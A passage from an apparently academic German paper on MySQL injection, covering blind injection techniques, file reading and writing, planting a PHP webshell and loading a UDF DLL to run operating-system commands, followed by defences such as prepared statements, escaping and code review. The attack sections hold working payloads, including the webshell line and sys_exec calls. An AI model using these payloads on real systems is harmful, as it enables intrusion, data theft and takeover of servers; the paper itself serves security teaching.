Beispielsweise kann x in entsprechende SQL-Befehle umgeschrieben, so dass es zuTRUE ausgewertet wird, wenn ein Charakter eines zu untersuchenden Strings größer alsder Buchstabe „k“ ist. Jetzt weiß man, dass der gesuchte Charakter zwischen „l“ und„z"liegen muss. Die weiteren Anfragen verlaufen dann nach dem binären Suchverfahren,bis der erste Buchstabe des Strings ermittelt werden konnte und die binäre Suche für denzweiten Buchstaben fortgesetzt wird. Wie man bereits erahnt, erfordert dies sehr vieleAnfragen, weshalb Blind SQL Injections für Strings auch nur automatisiert sinnvoll sind.Wenn man danach fragt, ob man als Admin angemeldet ist oder nicht, reicht hingegeneine Abfrage aus. Das Verhalten der Ausdrücke y und z ist dabei so unterschiedlich, dassder Angreifer rückschließen kann, ob x TRUE oder FALSE war. Für die Wahl von ybzw. z kann man Blind SQL Injections in die Kategorien zeitbasiert, fehlerbasiert undinhaltsbezogen einteilen. Auf diese drei Ansätze wird nachfolgend genauer eingegangen.

4.2.1 Zeitbasierte Blind Injections

Zeitbasierte Angriffe sind sehr flexibel, da sie immer funktionieren und nicht vom Outputder Applikation abhängen. Sie können die Abfrage künstlich Verzögern und dadurch

16

Page 17: MySQL-Injections

4 Advanced SQL-Injections

ein Bit an Information extrahieren. Diese Art von Injections können auch für Denial ofSerivce Angriffe missbraucht werden. Prinzipiell funktionieren solche Angriffe nach demSchema in Listing 4:

IF (Bedingung = True) THEN y ELSE SLEEP(Time)

Listing 4: Prinzipielle Funktionsweise von zeitbasierten Blind Injections. Der ELSE-Zweigverzögert die Antwort künstlich.

In MySQL Version 5.0.12 oder höher wurde eine SLEEP(time)-Funktion eingeführt, wel-che die Abfrage um time Sekunden verzögern kann. In älteren Versionen kann stattdessenbeispielsweise BENCHMARK(1000000,sha1(’foobar’) verwendet werden. Normalerweisewird die Benchmark-Funktion dazu genutzt, um die Performance des Servers zu messen.Sie kann aber auch dazu benutzt werden, eine künstliche Verzögerung zu erzielen. Diezeitbasierte Blind Injection 16 prüft nach, ob man als Benutzer root angemeldet ist:

URL: news.php?category=2 UNION SELECT IF(SUBSTRING(USER(),1,4)=’root’,SLEEP(5),1),’2’,’3’

/*Resultierende Abfrage*/SELECT * FROM ‘news‘WHERE category=2 UNION SELECT IF(SUBSTRING(USER(),1,4)=’root’,SLEEP(5),1),’2’,’3’

Injection 16: Wenn man als root angemeldet ist, wird die Abfrage um 5 Sekunden verzögert.Das angehängte ’2’,’3’ dient dazu die Spaltenanzahl an die News-Tabelleanzugleichen. Um einfache Hochkommata-Filter zu umgehen könnte ’root’ indie Hex-Darstellung 0x27726f6f7427 umgewandelt werden.

4.2.2 Fehlerbasierte Blind Injections

Da die zeitbasierte Technik immer eine Verzögerung mit sich zieht, eignet sie sich nicht,um größere Informationen zu extrahieren. Hierfür existiert die Technik der fehlerbasiertenBlind Queries:

IF (Bedingung = True) THEN y ELSE Provoziere SQL-Fehler

Listing 5: Prinzipielle Funktionsweise von fehlerbasierten Blind Injections. Im ELSE-Zweigwird ein SQL-Fehler hervorgerufen und y führt die Abfrage ohne Fehler aus.

Die Blind Injection 17 ermittelt, ob die MySQL-Version höher oder kleiner als 5 ist:

17

Page 18: MySQL-Injections

4 Advanced SQL-Injections

URL: news.php?category=IF((SELECT ’match’ REGEXP IF(SUBSTR(@@version,1,1)=5,’match’,’’)),2,’egal’)

/*Resultierende Abfrage*/SELECT * FROM ‘news‘WHERE category=IF((SELECT ’match’ REGEXP IF(SUBSTR(@@version,1,1)=5,’match’,’’)),2,’egal’)

Injection 17: Wenn die MySQL-Version kleiner als 5 ist, wird ein Fehler geworfen, ansonstenwerden die Nachrichten der Kategorie zwei angezeigt.

In obiger Injection wird kein Fehler erzeugt, wenn die erste Zahl im Versions-Stringeine 5 ist. Dann vergleicht die Funktion REGEXP nämlich den String match mit demPattern match, was zu TRUE ausgewertet wird und die Nachrichten der Kategorie zweiwerden angezeigt. Läuft auf dem Server eine MySQL-Version kleiner als 5, wird der Feh-ler #1139 - Got error ’empty (sub)expression’ from regexp ausgelöst, weil dieREGEXP-Funktion den String match mit einem Leerstring vergleichen will. Der REGEXP-Trick stammt von [9].

In anderen Datenbanken lassen sich Fehler sehr viel einfacher provozieren - zumBeispiel mit SELECT 1/0. Aber MySQL interpretiert in dieser Hinsicht recht viel. So-gar WHERE category=(SELECT CONCAT(’2 ’,’ Unk nown Column’)) wird korrekt aus-geführt.

4.2.3 Inhaltsbezogene Blind Injections

Nachteil der fehlerbasierten Extraktion ist, dass viele Fehler auf dem Server erzeugtwerden, die i.d.R. protokolliert werden. Diesen Nachteil kann man mit inhaltssensitivenAnfragen ausgleichen:

IF (Bedingung = True) THEN Output1 ELSE Output2

Listing 6: Prinzipielle Funktionsweise von inhaltsbezogenen Blind Injections. Je nach Aus-wertung von x ändert sich der Inhalt der Webseite.

In Blind Injection 18 wird eine binäre Suche eingesetzt, um einen MySQL-Benutzerzu extrahieren der File-Permissions hat (hier wäre dies der Benutzer ’ root’@’localhost’.Hinweis: Beginnt mit Hochkomma.). Wenn die Bedingung in nachfolgender Injectionfalsch ist, werden keine Nachrichten angezeigt und ansonsten die der zweiten Kategorie:

18

Page 19: MySQL-Injections

4 Advanced SQL-Injections

URL: news.php?category=2 and (SELECT ascii(substring((SELECT grantee FROMinformation_schema.user_privileges WHERE privilege_type=’File’Limit 1),1,1)))>77

/*Resultierende Abfrage*/SELECT * FROM ‘news‘ WHERE category=2 and(SELECT ascii(substring((SELECT granteeFROM information_schema.user_privilegesWHERE privilege_type=’File’ Limit 1),1,1))) > 77

Injection 18: Prüft ob der erste Buchstabe eines Benutzer mit File-Permissions größer als77 (ASCII für M) ist. Das Hochkomma ist in ASCII die Zahl 39 und daherwird keine Nachrichtenmeldung angezeigt. Hinweis: Beim Herauskopieren derURL aus dem PDF-Dokument, müssen bei den Zeilenumbrüchen Leerzeicheneingefügt werden.

Die obige Injection funktioniert folgendermaßen: In der USER_PRIVILEGES Tabelle wirdnach einem einzigen Benutzer gesucht, der File-Permissions hat (durch LIMIT auf genauein Resultat begrenzt). Von dem ermittelten Benutzer wird durch substring(SFW,1,1)der erste Buchstabe extrahiert und mittels ascii(’) in die Zahl 39 umgewandelt und mit77 verglichen. Da die Abfrage zu FALSE ausgewertet wurde, wird im Stile der binärenSuche die Abfrage in der unteren Hälfte von 77 fortgesetzt.

4.3 Filesystem AccessIn diesem Abschnitt wird beschrieben, wie man durch SQL-Injections schreibenden undlesenden Zugriff auf das Dateisystem erlangt.

4.3.1 Lesender Zugriff auf das Dateisystem

Lesender Zugriff auf das Dateisystem kann sinnvoll sein, um Informationen für das weitereVorgehen zu sammeln oder um brisante Informationen zu entwenden. Zu den interessantenInformationen gehören zum Beispiel Klartextpasswörter aus Konfigurationsdateien oderganze MySQL-Tabellen, welche ebenfalls in Dateien gespeichert sind oder die PHP-Scripte.Dazu hat MySQL die eingebaute Funktion LOAD_FILE(path_to_file), die es ermöglichtText- und Binärdateien vom System zu lesen. Wenn die Datei weniger als 5000 Zeichenenthält, bereitet dies keine Probleme. Bei mehr als 5000 Zeichen sei auf das Paper [5]verwiesen. Die Voraussetzungen für einen lesenden Zugriff sind:

• Der Session-User muss das Recht FILE haben.

• Unter Linux und UNIX Systemen, muss die zu lesende Datei dem Benutzer7 gehören,der den MySQL-Prozess gestartet hat oder für alle lesbar sein. Unter Windows

7Normalerweise wird in Linux ein eigener Benutzer namens mysql angelegt. Die Datei muss also demBenutzer mysql gehören.

19

Page 20: MySQL-Injections

4 Advanced SQL-Injections

läuft MySQL standardmäßig als Local System und daher kann jede beliebige Dateigelesen werden.

Injection 19 zeigt, wie man sich beliebige Textdateien mit Hilfe der Schwachstelle innews.php anzeigen lassen kann:

URL: news.php?category=2 UNION SELECTLOAD_FILE(’C:/Windows/Temp/itsecproject.txt’),null,null

/*Resultierende Abfrage*/SELECT * FROM ‘news‘ WHERE category=2UNIONSELECT LOAD_FILE(’C:/Windows/Temp/itsecproject.txt’),null,null

/*Ergebnis im Browser*/

Injection 19: Der MySQL-Prozess hat unter Windows sogar ausreichende Rechte um Dateienaus dem Temp-Ordner zu lesen. Beim Betreten des Ordners über den Explorerfordert die Windows UAC normalerweise auf, ob man den Vorgang fortsetzenmöchte.

Falls man auf diesemWege PHP-Scripte auslesen und diese per UNION anzeigen möchte,so kommt das Script in entstellter Form im Browser an, da der Browser versucht das Scriptzu interpretieren. Abhilfe verschafft das Hinzufügen der SQL-Funktion HEX(string):

SELECT * FROM ‘news‘ WHERE category=2UNIONSELECT HEX(LOAD_FILE(’C:/xampp/htdocs/itsec/news.php’)),null,null

4.3.2 Schreibender Zugriff auf das Dateisystem

Um den kompletten Server zu kompromittieren (siehe Abschnitt UDF 4.4.2) oder neueScripte auf einem Server zu deployen (siehe Abschnitt Webshell 4.4.1), kann es sinnvollsein schreibenden Zugriff auf das Dateisystem zu haben. Hierfür bietet MySQL folgendeBefehle an:

/*INTO OUTFILE fuer Textdateien*/SELECT ’<?php phpinfo()?>’ INTO OUTFILE ’C:/xampp/htdocs/itsec/info.php’;/*INTO DUMPFILE fuer Binaerdateien*/SELECT 0x273c3f70687020706870696e666f28293f3e27INTO DUMPFILE ’C:/xampp/htdocs/itsec/info.php’;

Beschränkungen bzw. Voraussetzungen für einen schreibenden Zugriff sind:

20

Page 21: MySQL-Injections

4 Advanced SQL-Injections

• Nutzt man den GET-Kanal um eine Datei zu übertragen, muss man beachten, dasseine URL auf eine maximale Länge von 2048 Zeichen beschränkt ist.

• Dateien können nicht überschrieben werden und an bestehende Dateien kann nichtsangefügt werden.

• Unter Linux und UNIX Systemen, gehört die erstelle Datei dem Benutzer, der denMySQL-Prozess gestartet hat. Unter Windows ist die erstellte Datei systemweitlesbar.

Injection 20 zeigt, wie man die Dynamic Link Library lib_mysqludf_sys.dll8 aufeinen Host kopieren kann (dieser Schritt ist wichtig für den nächsten Abschnitt UDF). Dadie Datei über 5000 Zeichen enthält, muss ein verwundbarer POST-Parameter verwendetwerden. Daher wird die login.php verwendet:

Username:Password:’ UNION SELECT null,null,null,null, 0x4D5A900003...000000

INTO OUTFILE ’C:/xampp/mysql/lib/plugin/lib_mysqludf_sys.dll’--

/*Resultierende Abfrage*/SELECT * FROM users WHERE username = ’’AND password = ’’UNIONSELECT null,null,null,null, 0x4D5A900003...000000INTO OUTFILE ’C:/xampp/mysql/lib/plugin/lib_mysqludf_sys.dll’-- ’;

/*Auf der Webseite erscheint die Meldung,*//*"Warning: mysql_num_rows() expects parameter 1 to be resource, boolean",*//*weil die Funktion mysql_query() TRUE zurueck gibt und nicht die Anzahl der betroffenen/*Zeilen. Die Datei wird aber trotzdem erstellt.*/

Injection 20: Mit Hilfe der Schwachstelle in login.php wird eine DLL auf den Server kopiert.Der Hex-String wurde durch drei Punkte abgekürzt.

Diese Technik erlaubt es uns, jede Art von Datei auf den Zielrechner zu schreiben. Einschreibender Zugriff ist meistens nur der erste Schritt, um an eine Shell zu kommen. Dieswird im nächsten Abschnitt näher betrachtet.

4.4 Operating System AccessIn diesem Abschnitt wird demonstriert, wie man durch eine MySQL-Injection die Kontrolleüber das komplette System erlangen kann.

4.4.1 Erzeugen einer Webshell

Gelingt es uns das SQL-Statement in Listing 7 einzuschleusen, sind wir im Besitz einerWebshell und können beliebige Befehle auf dem Zielrechner ausführen. Voraussetzungen

8https://svn.sqlmap.org/sqlmap/trunk/sqlmap/udf/mysql/windows/32/lib_mysqludf_sys.dll

21

Page 22: MySQL-Injections

4 Advanced SQL-Injections

hierfür sind, dass der Benutzer, unter dem der MySQL-Prozess läuft, ausreichende Rechtehat, um den Befehl auszuführen, dass der Session-User die File-Permission hat, dass manden Pfad zum Webroot kennt und dass der Webserver und die MySQL-Datenbank aufdem gleichen Server laufen.

UNION SELECT "<?system($_REQUEST[’cmd’]);?>" INTO OUTFILE "/var/www/html/victim.com/cmd.php" --

Listing 7: Erstellt im Webroot-Verzeichnis die Datei shell.php. Quelle: [4]

Die Webshell nimmt den Befehl über den GET-Parameter cmd entgegen und führt diesenmit den rechten des MySQL-Prozesses aus. Aufgerufen kann die Webshell zum Beispielüber victim.de/shell.php?cmd=dir>test.txt. Die Ausgabe der Shell, die in „test.txt“umgeleitet wurde, könnte über eine weitere Injection wieder eingelesen und ausgegebenwerden.

4.4.2 User Defined Functions

Mit User Defined Functions (kurz UDF) kann man in MySQL eigene SQL-Befehle erstellen,die dann innerhalb eines Statements wie native (eingebaute) Funktionen wie etwa MAX()oder SUM() aufgerufen werden können. Um eine UDF in MySQL zu registrieren existiertfolgender Befehl:

CREATE [AGGREGATE] FUNCTION function_name RETURNS{STRING|INTEGER|REAL|DECIMAL} SONAME shared_library_name

Die Ausführung des obigen SQL-Statements bewirkt einen neuen Eintrag in der Tabellemysql.func. Für den Parameter shared_library_name wird der Name einer DLL9 inklu-sive Dateiendung angegeben, die den Code zur Implementierung der Funktion enthält. Fürden Parameter function_name muss ein Funktionsname aus der DLL angegeben werden.In MySQL ab Version 5.1.19 wird erwartet, dass die DLL im Verzeichnis @@plugin_dir (inWindows C:\xampp\mysql\lib\plugin) liegt. Für den Exploit kommt die bereits erwähntelib_mysqludf_sys.dll zum Einsatz. Diese hat für uns zwei interessante Funktionen:

• sys_eval(cmd) - führt ein beliebiges Kommando aus und gibtdessen Standardausgabe zurück.

• sys_exec(cmd) - führt ein beliebiges Kommando aus und gibtdessen Exit-Statuts zurück.

Das nachfolgende Listing zeigt nochmals alle Schritte:

9Unter Linux ein entsprechendes Shared Object.

22

Page 23: MySQL-Injections

5 Schutzmaßnamen

/*****************************************//** 1. Kopieren der UDF auf den Server **//*****************************************/

/*Dies wurde bereits im Kapitel "File Access" gezeigt*/

/********************************//** 2. Funktionen Registrieren **//********************************/

CREATE FUNCTION sys_eval RETURNS STRING SONAME ’lib_mysqludf_sys.dll’CREATE FUNCTION sys_exec RETURNS INTEGER SONAME ’lib_mysqludf_sys.dll’

/*******************************************//** 3. Warten bis MySQL neugestartet wird **//*******************************************/

/*Hinweis: mysqld darf nicht mit der Option --skip-grant-tablesgestartet werden, weil dies die UDF-Initialisierung ueberspringt.*/

/**************************//** 2. Exploit ausfuehren **//**************************/

/*Benutzereingabe*/URL: news.php?category=2 UNION SELECT null,null, sys_exec(’shutdown /s’)/*Resultierende Abfrage*/SELECT * FROM ‘news‘WHERE category=2 UNION SELECT null,null, sys_exec(’shutdown /s’)

/*PC wird in einer Minute ausgeschaltet.*//*Abbrechen mit shutdown -a*/

Wer noch mehr über diesen Angriff nachlesen möchte, dem sei das Paper von BernardoDamele [5] als Einstiegspunkt empfohlen. Voraussetzungen für den Angriff sind, dass derSession-User FILE- und INSERT-Rechte besitzt und das MySQL nicht statisch kompiliertwurde. Für das Einschleusen der CREATE Function-Statements sollten außerdem StackedQueries funktionieren10.

5 SchutzmaßnamenUm sich gegen SQL-Injections zu schützen existieren diverse Möglichkeiten. Ist manim besitzt des Quellcodes kann man beispielsweise den Code manuell reviewen undnach Sinks11 suchen. Im Bezug auf PHP wären dies alle Datenbank-Funktionen, dieAbfrage-Strings direkt ausführen. Um die Suche etwas zu erleichtern, könnte man sich inLinux beispielsweise grep bedienen:

10Stacked Queries funktionieren mit PHP und einer MySQL-Datenbank nicht. Aber zum Beispiel inASP.NET + MySQL. Eine tabellarische Übersicht mit anderen Kombinationen befindet sich in [5].

11Sicherheitsrelevante Funktionen/Gefährliche Funktionen

23

Page 24: MySQL-Injections

5 Schutzmaßnamen

$ grep -r -n "\(mysql\|mssql\|mysql_db\)_query\(.*\$_\(GET\|\POST\).*\)" src/ |awk -F : ’{print "filename: "$1"\nline: "$2"\nmatch: "$3"\n\n"}’

filename: src/mssql_query.vuln.phpline: 11match: $result = mssql_query("SELECT * FROM TBL WHERE COLUMN = ’$_GET[’var’]’");filename: src/mysql_query.vuln.phpline: 13match: $result = mysql_query("SELECT * FROM TBL WHERE COLUMN = ’$_GET[’var’]’", $link);

Listing 8: Durchsucht ein Verzeichnis mit PHP-Scripten rekursiv nach bestimmten anfälligenMySQL-Funktionen. Quelle: [4]

Für diese Suche können auch entsprechende Analyse-Tools verwendet werden. BekannteQuellcode-Analizer sind Yet Another Source Code Analyzer, Pixy, AppCodeScan, LAPSE,Security Compass Web Application Analysis Tool, Microsoft Source Code Analyzerfor SQL Injection oder Microsoft Code Analysis Tool .NET. Manche davon nutzenlediglich Reguläre-Ausdrücke (ähnlich dem grep Beispiel) und andere bedienen sichanspruchsvolleren Analysetechniken, wie Lexical Analysis, Abstract Syntax Trees oderKontrollflussgraphen. Jedoch kann hier nicht genauer auf diese Techniken eingegangenwerden

Ist man nicht im Besitzt des Sourcecodes, da es sich beispielsweise um eine Legacy-Applikation handelt oder man schätzt eine Applikation nicht als besonders sicher pro-grammiert ein, kann man eine Web Application Firewall (kurz WAF) einsetzen. WAFsfiltern Anfragen auf der Anwendungsschicht und können in eine bestehende Architekturin unterschiedlichen Stellen integriert werden. Manche WAFs, wie AMNESIA[7], funktio-nieren nicht nur nach dem Blacklisting-Prinzip, sondern nutzen auch Neuronale-Netze,um anormale Anfragen zu erkennen und könnten daher auch vor bisher unbekanntenAngriffen schützen. Das Paper von William G.J. Halfond et al. [8] gibt einen sehr gutenÜberblick über dieses Thema, das hier lediglich angerissen werden kann. Nicht ganzunangesprochen sollte das Thema der Infrastruktur-Konfiguration sein. Auf der CISWebseite [3] findet man sehr ausführliche Anleitungen, wie man seine Systeme absichernsollte. Außerdem sollte man dem Session-User so wenig Rechte wie möglich geben (evtl.Union-Recht revoken etc.).An erster Stelle sollte allerdings das Wissen über defensives Programmieren stehen,

um Schwachstellen bereits in der Implementierungsphase zu vermeiden. Der nächsteAbschnitt wird daher genauer auf dieses Thema eingehen.

5.1 Defensives Programmieren5.1.1 Prepared Statements

Prepared Statements stellen eine Alternative zu der angesprochenen dynamischen String-Konkatenation dar und verhindern SQL-Injections. Die meisten Programmiersprachenbieten entsprechende APIs an, um Prepared Statements zu erstellen und vom DatenbankManagement System (DBMS) ausführen zu lassen. Prepared Statements funktionieren

24

Page 25: MySQL-Injections

5 Schutzmaßnamen

folgendermaßen: In das SQL-Statement werden Platzhalter, wie beispielsweise ein „?“eingefügt. Dieses Statement wird dann vom Parser des DBMS interpretiert und dieAbfrage wird in eine vorkompilierte Form gebracht. Danach wird mit Hilfe der API deneinzelnen Fragezeichen ein Wert zugewiesen. Da der Wert als Parameter erst nachträglichübergeben wird, hat er keinen Einfluss auf den zuvor durchgeführten Parsevorgang,wodurch sich das bereits vorkompilierte SQL-Statement nicht mehr beeinflussen lässt.Bei mehrmaligem Ausführen des gleichen Prepared Statements mit anderen Parameternbringt dies gegenüber dynamischen SQL auch einen Geschwindigkeitsvorteil, weil dasStatement nur einmal geparsed werden muss. Nicht alle dynamischen SQL-Abfragenkönnen parametrisiert werden. Normalerweise können nur Daten parametrisiert werden,aber keine SQL-Indentifier oder SQL-Keywords:

SELECT * FROM ? WHERE username = ’john’SELECT ? FROM users WHERE username = ’john’SELECT * FROM users WHERE username LIKE ’j%’ ORDER BY ?

Listing 9: Beispiele für nicht parametrisierbare Queries. Quelle:[4]

Diese Einschränkung kann in der Praxis meist dadurch ausgeglichen werden, dassentweder für jeden Zweck ein eigenständiges, abgewandeltes Prepared Statement angelegtwird oder indem man eine Mischung aus Prepared Statements und dynamischem SQLeinführt:

$queryString = "SELECT * FROM " . table . " " ."WHERE user = ? and password= ?";

Wichtig ist hierbei, dass die Variable table entweder vom System stammt oderentsprechend „gesäubert“ wurde. Unser PHP-Script aus Listing 1 ließe sich wie folgt mitPrepared Statements absichern:

25

Page 26: MySQL-Injections

5 Schutzmaßnamen

if(isset($_POST[’submit’])){$db = new mysqli("localhost", "root", "", "itsec") or die(mysqli_connect_error());$stmt = $db->prepare("SELECT * FROM users WHERE username = ? AND password = ?")

or die($stmt->error);$stmt->bind_param(’ss’,$_POST[’username’],$_POST[’password’]) or die($stmt->error);$stmt->execute() or die($stmt->error);$stmt->bind_result($col1,$username,$col3,$col4,$col5) or die($stmt->error);if ($stmt->fetch()){

echo ’welcome ’ . $username . ’<br />’;}else{

echo ’Access Denied’;}$stmt->close();$db->close();

}

Listing 10: Die unsichere Funktion mysql_query() aus der login.php wird durch ein PreparedStatement ersetzt.

5.1.2 Escaping von Metazeichen

Die beste Praxis, um sich gegen SQL-Injections zu schützen, ist die strikte Verwendungvon Prepared Statements innerhalb der gesamten Applikation. An Stellen an denen diesnicht möglich ist (etwa wenn die Programmiersprache keine API bereitstellt oder derAufwand zum Umschreiben der Sinks zu groß ist), müssen bestimmte Zeichen escapedwerden. Zu diesen Zeichen gehört zum Beispiel das einfache Hochkomma, weil es vonMySQL als String-Terminator interpretiert wird. Um einem Zeichen die Bedeutung fürden Parser zu nehmen, wird dem Zeichen in MySQL ein Backslash vorangestellt. DieserSchritt wird als escapen oder auch encoden bezeichnet. Dadurch ist es dann auch möglichNamen, wie O’Brien in die Datenbank zu speichern. Da das Hochkomma aber nicht daseinzige gefährliche Zeichen ist und jede Datenbank andere Metazeichen hat, ist tunlichstdavon abzuraten eigene Funktionen zum Escapen von Strings zu schreiben. In PHPsollte man die Funktion mysql_real_escape_string($user) verwenden. Diese Funktionstammt direkt vom MySQL-DBMS, also von den Entwicklern, die auch den Query-Parsergeschrieben haben und ist daher besser als jede selbstgeschriebene Funktionen.Auch ein wichtiger Punkt für sichere Applikationen, der noch Beachtung verdient, ist

die Eingabevalidierung. Unter Eingabevalidierung ist zu verstehen, dass man prüft, ob dieDaten vom erwarteten Typ, der richtigen Länge oder im erwarteten Format sind. Hierbeisei noch erwähnt, dass White-Listing dem Black-Listing, wenn möglich vorzuziehen ist.

5.1.3 Stored Procedures

Unter einer Stored Procedure versteht man, dass der SQL-Code in der Datenbank definiertund gespeichert wird. Die Stored Procedure wird von der Applikation dann lediglich überihren Namen und mit den gewünschten Parametern aufgerufen. Normalerweise wird inStored Procedures kein dynamisches SQL verwendet und sie bieten daher Schutz vor

26

Page 27: MySQL-Injections

6 Zusammenfassung

Injections. Allerdings kann eine Stored Procedure auch dynamisches SQL nutzen undsomit auch unsicher implementiert sein, wie Listing 11 zeigt:

CREATE PROCEDURE SP_ StoredProcedure (input varchar(400))BEGINSET @param = input;SET @sql = concat(’SELECT field FROM table WHERE field=’,@param);PREPARE stmt FROM @sql;EXECUTE stmt;DEALLOCATE PREPARE stmt;End

Listing 11: Verwundbare MySQL Stored Procedure. Quelle:[4]

Im vorhergehenden Listing stammt die Variable input direkt vom Benutzer und wirdmit dem Abfrage-String konkateniert. Dies ist genauso anfällig für Injections, wie diebisherigen Beispiele.

6 ZusammenfassungDas Paper hat die wichtigsten Injections zu MySQL erklärt. Für die DatenbankenMicrosoft SQL-Server, Postgres und Oracle existieren die gleichen Vorgehensweisen inunterschiedlicher Syntax und teilweise auch noch spezifischere Exploits: Das Pendantzu User Defined Functions wären im SQL-Server Stored Procedures. Dort kann manüber Stored Procedures bereits mitgelieferte DLLs ansprechen, welche die Datenbank mitzusätzlichen Systemfunktionalitäten erweitert. Beispielsweise existiert hier eine StoredProcedure namens xp_cmdshell12 mit der man beliebige Befehle auf dem Zielrechnerausführen kann. Eine weitere Technik, die nicht angesprochen wurde sind sog. Out OfBand Angriffe, in denen sekundäre Kommunikationskanäle (z.B. E-Mail) für einen Exploitgenutzt werden.

Literatur[1] Chris Anley. „( more ) Advanced SQL Injection“. In: Next Generation Security

Software LTD White Paper September (2002). url: http://scholar.google.com/scholar?hl=en\&btnG=Search\&q=intitle:(+more+)+Advanced+SQL+Injection\#0.

[2] Stephen W Boyd und Angelos D Keromytis. „SQLrand : Preventing SQL In-jection Attacks“. In: Architecture. Lecture Notes in Computer Science 3089.10(2004), S. 292–302. doi: 10.1007/978-3-540-24852-1\_21. url: http://www.springerlink.com/index/j2efhxbrf83xmd5g.pdf.

12xp_cmdshell ist in SQL Server 2005 standardmäßig aktiviert. In den nachfolgenden Versionen nicht.

27

Page 28: MySQL-Injections

Literatur

[3] Center for Internet Security :: Security Benchmarks Division :: Download Formfor CIS Resources. url: https://benchmarks.cisecurity.org/en-us/?route=downloads.multiform (besucht am 11. 06. 2012).

[4] Justin Clarke und Rodrigo Marcos Alvarez. SQL Injection Attacks and Defense.Bd. 54. Syngress, 2009, S. 474. isbn: 9781597494243. url: http://www.amazon.com/Injection-Attacks-Defense-Justin-Clarke/dp/1597494240.

[5] Bernardo Damele und Assumpção Guimarães. „Advanced SQL injection to opera-ting system full control“. In: Read (2009), S. 1–37. url: http://novacaine.me.pn/whitepapers/Damele-SQLInjection.pdf.

[6] Jeff Forristal. Phrack Magazine Volume 8, Issue 54 Dec 25th, 1998, article 08 of12. url: http://www.phrack.org/issues.html?id=8\&issue=54 (besucht am07. 06. 2012).

[7] William G J Halfond und Alessandro Orso. „AMNESIA : Analysis and Monitoringfor NEutralizing SQL-Injection Attacks“. In: Proceedings of the 20th IEEEACMinternational Conference on Automated software engineering. ASE ’05 (2005),S. 174–183. doi: 10.1145/1101908.1101935. url: http://portal.acm.org/citation.cfm?id=1101935.

[8] William G J Halfond, Jeremy Viegas und Alessandro Orso. „A Classification ofSQL Injection Attacks and Countermeasures“. In: Computing (2006), S. 1–11. url:http://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.95.2968\&amp;rep=rep1\&amp;type=pdf.

[9] Haxxor Security: Speeding up Blind SQL Injections using Conditional Errors in MyS-QL. url: http://ha.xxor.se/2011/06/speeding-up-blind-sql-injections-using.html (besucht am 11. 06. 2012).

[10] List of tools for static code analysis. 2012. url: http://en.wikipedia.org/wiki/List\_of\_tools\_for\_static\_code\_analysis (besucht am 07. 06. 2012).

[11] OWASP. Top 10 2010-Main - OWASP. 2010. url: https://www.owasp.org/index.php/Top\_10\_2010-Main (besucht am 07. 06. 2012).

[12] Best Practices. „Sicherheit von Webanwendungen“. In: Informationstechnik August(2006). Hrsg. von Gerti Kappel u. a., S. 319–344. url: https://www.bsi.bund.de/SharedDocs/Downloads/DE/BSI/Publikationen/Studien/WebSec/WebSec\_pdf.pdf.

[13] Zhendong Su und Gary Wassermann. „The essence of command injection attacks inweb applications“. In: ACM SIGPLAN Notices 41.1 (Jan. 2006), S. 372–382. issn:03621340. doi: 10.1145/1111320.1111070. url: http://dl.acm.org/citation.cfm?id=1111320.1111070.

[14] Mücahit Yekta und Ali Recai Yekta. Advanced SQL Injection in MySQL. 2008.url: http://www.alirecaiyekta.com/uploads/Advanced-SQL-Injection-in-MySQL-GERMAN.pdf.

28